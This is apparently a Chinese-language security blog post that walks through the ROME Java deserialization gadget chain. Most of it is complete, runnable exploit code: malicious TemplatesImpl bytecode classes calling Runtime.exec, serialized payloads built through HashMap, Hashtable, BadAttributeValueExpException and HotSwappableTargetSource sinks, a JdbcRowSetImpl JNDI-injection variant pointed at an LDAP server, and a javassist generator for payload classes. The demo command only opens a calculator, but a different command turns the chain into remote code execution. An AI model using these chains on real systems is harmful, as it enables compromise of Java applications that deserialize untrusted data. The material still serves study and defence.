ROME原生反序列化
之前也看过不少原生链了,但大多都是记个结论,这次一定要能自己调.
ROME原生反序列化的核心是提供了ToStringBean类,其中的toString方法是这条反序列化链的核心.
TemplatesImpl链
重点分析这条链子,这是cb1中使用的执行命令的方法.
ToStringBean
来看这个类的toString方法
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
#获取getter
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
#执行getter
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} ...
}
可以看到他可以触发this._obj的构造方法.接着看一下构造方法.
public ToStringBean(Class beanClass, Object obj) {
this._beanClass = beanClass;
this._obj = obj;
}
可以看出_beanClasslass赋值javabean类型的Class
尝试让他去触发cb1中的getOutputProperties
来进行一个测试:
编写一个恶意的Class
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class shell extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public shell() throws IOException {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
然后去触发cb1的尾联
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
toStringBean.toString();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
成功弹出计算器.在这里为什么要使用Templates.class而不是TemplatesImpl.class,因为Templates.class只有一个getter方法,而TemplatesImpl.class有多个,不省心.
EqualsBean
在这个类中存在beanHashCode方法,其中存在hashCode方法可以触发toString.
public EqualsBean(Class beanClass, Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
} else {
this._beanClass = beanClass;
this._obj = obj;
}
}
public int hashCode() {
return this.beanHashCode();
}
public int beanHashCode() {
return this._obj.toString().hashCode();
}
那么我们就想到了给他栓哥HashMap的出口,直接去触发这个hashCode打下去,写出exp如下.
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> map = new HashMap();
map.put(equalsBean, "test");
serialize(map);
deserialize();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object obj = objectInputStream.readObject();
objectInputStream.close();
}
}
也是成功执行命令了.
ObjectBean变换
这条链就是对EqualsBean环节进行了变换,换成了ObjectBean
ObjectBean
public ObjectBean(Class beanClass, Object obj) {
this(beanClass, obj, (Set)null);
}
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}
...
public int hashCode() {
return this._equalsBean.beanHashCode();
}
发现其中的hashCode方法可以触发EqualsBean的beanHashCode方法,进而触发toString方法,因此得到POC如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> map = new HashMap();
map.put(objectBean, "test");
serialize(map);
deserialize();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object obj = objectInputStream.readObject();
objectInputStream.close();
}
}
HashTable出口
我们在cc7反序列化的时候用到了HashTable类去作为出口,当时是需要插入两个对象从而触发equals方法的,然而这里不需要去触发equals方法,只需要能够触发hashCode方法即可,因此只需要插入一个对象即可触发.POC如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Hashtable hashTable = new Hashtable();
hashTable.put(objectBean,1);
serialize(hashTable);
deserialize();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object obj = objectInputStream.readObject();
objectInputStream.close();
}
}
BadAttributeValueExpException出口
在cc5中用到了BadAttributeValueExpException类去作为出口,可以直接的触发toString,非常的符合这里的情景.
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException,"val",toStringBean);
serialize(badAttributeValueExpException);
deserialize();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object obj = objectInputStream.readObject();
objectInputStream.close();
}
}
JdbcRowSetImpl入口
这个链子在Fastjson中调过,但没详细记录,这里记录一下.
JdbcRowSetImpl
来看这个类的getDatabaseMetaData方法,这是一个getter方法,显然是可以被调用的.
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
跟进这个connect方法看看
private Connection connect() throws SQLException {
{
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
}
}
发现其中调用了lookup方法,可以通过控制dataSourceName实现JNDI注入,出口随便选一个,写出POC
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class Main {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://localhost:1389/Basic/Command/calc");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException,"val",toStringBean);
serialize(badAttributeValueExpException);
deserialize();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object obj = objectInputStream.readObject();
objectInputStream.close();
}
}
HotSwappableTargetSource变换
这个链子没接触过,这里重点去进行分析.首先先额外添加一个spring-aop的依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.2.7.RELEASE</version>
</dependency>
HotSwappableTargetSource
看一下这个类的equals方法.
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}
经过调试可以发现this.target.equals是后传入的key,other是先传入的key
XString
看一下这个类的equals
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
发现可以触发传入参数的toString方法.那么目标就很明确了,使用HashMap两次插值去触发HotSwappableTargetSource的equals方法,进而触发XStream的equals方法,从而触发ToStringBean的toString方法.
写出poc如下
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://localhost:1389/Basic/Command/calc");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(h1, "h1");
hashMap.put(h2, "h2");
serialize(hashMap);
deserialize();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object obj = objectInputStream.readObject();
objectInputStream.close();
}
}
这时候就有一个疑惑,是否可以使用Hashtable去作为出口,尝试后发现是不可以的.回顾一下cc7的poc,其中有这样两句
lazymap1.put("yy", 1);
lazymap2.put("zZ",1);
如果想要触发equals的话是要求两个key能够碰撞的,而如果只需要触发hashCode的话则没有这个要求.因此只能使用HashMap而不能使用Hashtable
优化利用链
我们在分析cc3的时候提到过,HashMap的put方法本身也会触发一次hash方法,因此会执行两次命令.通过反射去修改值实现.
在HashMap中的键值对本质上是存储在Node中的
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;
Node(int hash, K key, V value, Node<K,V> next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
}
}
写出poc如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> map = new HashMap();
map.put("aaa",1);
Object[] array = (Object[]) getValue(map,"table");
Object node = array[0];
setValue(node,"key", equalsBean);
serialize(map);
deserialize();
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void deserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
Object obj = objectInputStream.readObject();
objectInputStream.close();
}
}
利用javassit去简化payload
回顾一下我们使用的恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class shell extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public shell() throws IOException {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
由于必须继承自AbstractTranslet方法,因此对其的两个transform方法进行了重写,添加了payload的长度.javassist是用来动态修改字节码的,可以通过javassist跳过编译去构建一个class文件.
使用下面的脚本
import javassist.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
public class GetShellByteCodes {
public static byte[] getTemplatesImpl(String cmd){
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("poc");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}catch (Exception e){
e.printStackTrace();
return new byte[]{};
}
}
public static void WriteShell() throws IOException {
byte[] shell = GetShellByteCodes.getTemplatesImpl("calc");
FileOutputStream fileOutputStream = new FileOutputStream(new File("poc.class"));
fileOutputStream.write(shell);
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
WriteShell();
}
}
得到的恶意类内容如下:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class poc extends AbstractTranslet {
public poc() {
Runtime.getRuntime().exec("calc");
}
}
极大程度的减少了poc的长度

浙公网安备 33010602011771号